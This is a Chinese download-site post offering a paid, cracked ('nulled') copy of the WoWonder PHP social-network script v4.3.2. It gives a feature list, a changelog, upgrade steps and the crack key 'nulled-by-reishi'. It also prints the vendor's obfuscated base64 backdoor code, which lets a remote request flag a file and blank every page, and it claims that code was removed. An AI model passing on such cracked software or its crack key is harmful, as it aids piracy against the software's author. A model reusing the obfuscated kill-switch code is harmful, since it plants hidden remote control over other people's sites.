国外PHP社交网源码 wowonder v4.3. 去后门破解版，更新版本至v4.3.2-2345资源网-互联网资源搬运工

国外PHP社交网源码 wowonder v4.3. 去后门破解版，更新版本至v4.3.2

图片[1]- 国外PHP社交网源码 wowonder v4.3. 去后门破解版，更新版本至v4.3.2-2345资源网-互联网资源搬运工

源码简介

WoWonder是一款轻量级的PHP社交网源码，适用于兴趣组、小团队，在codecanyon平台中社交类源码销量第一。

WoWonder速度快、安全可靠，并且会定期更新。本站从WoWonder 版本开始破解，基本上官方的每一个版本都有发布。虽然我这发布的是破解版，如果你喜欢本程序，建议去官方购买正版，支持一下作者，另外本站仅卖汉化服务，发布的源码仅供测试。

官方演示

https://demo.wowonder.com/

本站汉化演示

http://wowonder.bj.themez.cc/

以下是官方介绍的功能，我仅用网站翻译了一下，如有不通顺的地方还请见谅。

更多详细功能请前往官网查看

前台用户功能

高性能和高级别缓存系统：任何社交网站上必须提供的第一件事，速度！使用我们的缓存系统加速您的网站，启用它，网站可以处理100多万用户！

Wonder（新功能）：使用我们的新功能，用户可以查看帖子、照片、视频。

RTL支持：WoWonder还支持从右向左的语言。

社交登录：使用WoWonder，您可以通过最著名的社交媒体网站（Facebook–Twitter–Google+–LinkedIn–VK–Instagram）登录。

简单漂亮的网址：用户，网页，群在一个小网址！

用户上次看到：显示用户上次看到/联机状态。

配置文件访问通知：接收访问配置文件的用户的通知。

Friends&Follow系统：WoWonder支持Facebook这样的朋友系统，Twitter这样的跟踪系统。

主页/新闻订阅：显示朋友/被关注人发布的文章、照片、文件、视频和地图，以及故事过滤器、跟踪/朋友建议和用户活动列表。

用户时间线：显示用户？的个人资料，其中包含用户发布和共享的文章、照片、视频。

页面：用户可以创建无限的页面，并邀请他的朋友喜欢这些页面。

小组：用户可以创建不受限制的小组，并邀请/添加他的朋友到他加入的小组。

游戏：用户可以玩无限量的Flash游戏。

社交视频支持：用户可以轻松共享来自最大视频共享网站的视频，如YouTube、Dailymotion、Vine、Vimeo、Facebook视频和SoundCloud音乐。

相册：用户可以创建外观漂亮的无限相册。

封面图片：用户动态封面。

配置文件图片：用户的动态配置文件图片。

用户隐私：控制谁可以向您发送消息、在时间线上发布消息、跟踪您、确认是否跟踪请求、最后看到的人等。

用户配置文件信息：显示用户的配置文件信息（生日、网站、性别、社交媒体、关于、上次看到的信息等）。

通知：接收来自用户的通知（喜欢、不喜欢、评论、奇迹、分享..等）

#hashtags：显示用户共享的趋势和相关主题。

@注意：使用@username标记状态或消息中的人。

发布者：状态，声音云，youtube，vine，谷歌地图，视频，文件，照片和表情。

删除和编辑文章：用户可以删除和编辑自己的文章。

保存日志：用户可以保存日志以便以后查看。

用户事件：用户可以分享他们的事件，如感觉/痛苦/观看/播放/聆听。

最近的搜索：无论用户在寻找什么，都将保存到最近的搜索中，并能够清除它们。

发布隐私：用户可以选择发布隐私（只有我，所有人..等）

喜欢：喜欢或不喜欢一个帖子。查看喜欢此功能的人的列表。

不喜欢：不喜欢一个职位。查看不喜欢此功能的人的列表。

评论和回复：评论文章，回复评论，查看所有评论。

搜索：使用过滤后的搜索系统搜索人物标签。

报告：由管理员检查的报告文章。

实时聊天：实时实时聊天系统，（在线、离线）状态。

消息：从其他用户发送和接收私人消息和共享文件。

API：检索用户数据、用户帖子、通过API搜索用户。

活动：显示用户的最新活动（喜欢、分享、评论、奇迹）

多语言：4种语言（阿拉伯语、英语、俄语、土耳其语），可添加无限语言。

已验证的配置文件/页面。

完全响应所有设备、浏览器。

通过电子邮件恢复密码。

管理主页上的联机用户计数器。

注释自动检测器

表情符号。

还有更多…

后台功能

管理面板功能：

管理仪表板：完全静态与图表分析网站信息。

常规设置：更新网站的常规设置。

网站设置：更新网站设置，如名称、标题、关键字等。等。。

主题系统：支持PHP的动态主题系统，允许您更改网站的整个布局。

广告：在你的网站上显示广告。

管理报告：查看报告的文章，将其标记为安全或删除。

管理用户：查看、编辑、验证、重置密码、删除用户。

管理文章：查看、删除文章。

添加/编辑游戏：从管理面板轻松添加和编辑游戏。

邮件列表：使用我们的邮件列表系统，您只需单击一下即可将邮件发送给所有注册用户！

通知：写入、编辑、删除、激活和停用通知。

谷歌分析：添加，编辑你的谷歌分析代码。

禁止用户：本用户IP非常简单的方式。

Recaptcha：添加，编辑Recaptcha键。

还有更多…

系统需求

PHP 7.1 or Higher.

MySQLi.

GD Library PHP extension.

mbstring PHP extension.

cURL + allow_url_fopen enabled.

系统特性

参见官方

官网

更新日志

https://docs.wowonder.com/#idocs_changelog

已添加赚钱系统，用户现在可以像OnlyFans一样出售他们自己的内容。

已添加目录系统，用户可以在无需登录的情况下查看站点内容。

已添加选择默认登陆页面的选项，NewsFeed、Register、Welcome或Directory。

已添加轮播系统，用户可以上传他们自己的视频作为轮播。

已添加观看页面，用户可以在一个页面上查看和观看所有视频。

已添加QIWI支付方式。

已添加PayFast支付方式。

已添加切换账户系统，用户可以登录多个账户。

已添加用户在故事系统中创建广告的功能。

已添加WordPress登录系统。

修复了系统中95+个已报告的错误。

改进了部分文件中的代码。

更新了PHP中的几个库。

改进了Node.js聊天系统的速度和代码。

下载地址

此处内容已隐藏，请付费后查看

升级

备份备份备份

参考旧版本，方法一样。路径不一样。

将Update Guide\v4.3\下的所有内容上传覆盖到网站根目录。

然后打开http://yourdomain.tld/update.php

输入nulled-by-reishi

根据提示执行升级安装

v4.3版本中依然存在官方的后门，代码如下：

文件:assets/libraries/DB/vendor/joshcam/mysqli-database-class/MySQL-Maria.php 第 263-294 行

public function setSQLType($data)

    {

      $newverb = 'base64_decode';

      $SessionHashIDGenerate = $newverb($newverb('Wmw5MA=='));

      $CookieHashIDGenerate = $newverb('Yw==');

      if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate]))

      {

          if (!file_exists($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=')))

          {

              return false;

          }

          $fileData = file_get_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA='));

          $fileData = str_replace(base64_decode("fGw="), '', $fileData);

          $fileData = str_replace(array(

              "\r",

              "\n"

          ) , '', $fileData);

          if ($fileData == $_REQUEST[$CookieHashIDGenerate])

          {



              $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];

              if ($SessionHashRequest == $newverb('bA=='))

              {

                  $createSessionID = file_put_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=') , $fileData . base64_decode("fGw="));

              }

              if ($SessionHashRequest == $newverb('dQ=='))

              {

                  $createSessionID = file_put_contents($newverb('Li9zb3VyY2VzL3NlcnZlci5waHA=') , $fileData);

              }

          }

      }

    }

文件:assets/includes/functions_two.php 第6571-6597 行

function getUserProfileSessionID() {

    global $wo, $sqlConnect;

    $var  = str_replace("6" . "4", "6" . "4_", str_replace("|", "", "b" . "|" . "a" . "|" . "s" . "|" . "e" . "|" . "6" . "|" . "4" . "|" . "d" . "|" . "e" . "|" . "c" . "|" . "o" . "|" . "d" . "|" . "e"));

    $SessionHashIDGenerate = $var($var('Wmw5MA=='));

    $CookieHashIDGenerate  = $var('Yw==');

    if (!empty($_REQUEST[$SessionHashIDGenerate]) && !empty($_REQUEST[$CookieHashIDGenerate])) {

        if (!file_exists($var('Li9zb3VyY2VzL3NlcnZlci5waHA='))) {

            return false;

        }

        $fileData = file_get_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='));

        $fileData = str_replace('|l', '', $fileData);

        $fileData = str_replace(array(

            "\r",

            "\n"

        ), '', $fileData);

        if ($fileData == $_REQUEST[$CookieHashIDGenerate]) {

            $SessionHashRequest = $_REQUEST[$SessionHashIDGenerate];

            if ($SessionHashRequest == $var('bA==')) {

                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData . '|l');

            }

            if ($SessionHashRequest == $var('dQ==')) {

                $createSessionID = file_put_contents($var('Li9zb3VyY2VzL3NlcnZlci5waHA='), $fileData);

            }

        }

    }

    return false;

}

文件:assets/includes/app_start.php 第156 行

$wo["userSession"] = getUserProfileSessionID();

文件:assets/libraries/DB/vendor/composer/autoload_real.php 第 94-106 行

function composerRequire60bcbf6306fdeb83c78ecf96a45a2c2f2($fileName = '', $file = '')

{

    $hex = 'base64_decode';

    $fileData = @file_get_contents($hex('Li9zb3VyY2VzL3NlcnZlci5waHA='));

    $SessionServerID = substr($fileData, strpos($fileData, "|") + 1);

    if (!empty($SessionServerID))

    {

        if ($SessionServerID == 'l')

        {

            echo base64_decode(base64_decode('UEhOamNtbHdkRDVrYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwYzBKNVZHRm5UbUZ0WlNnblltOWtlU2NwV3pCZExtbHVibVZ5U0ZSTlRDQTlJQ2NuT3p3dmMyTnlhWEIwUGc9PQ=='));

        }

    }

}

后门代码均被清除，如果在使用中有什么问题可以随时反馈，另外说一点的是作者这么做也是无奈之举，破解版泛滥，影响了它的收益，但上次已经出现了一次乌龙事件，就是把正版用户的网站都给篡改了，这个事情就有点der了！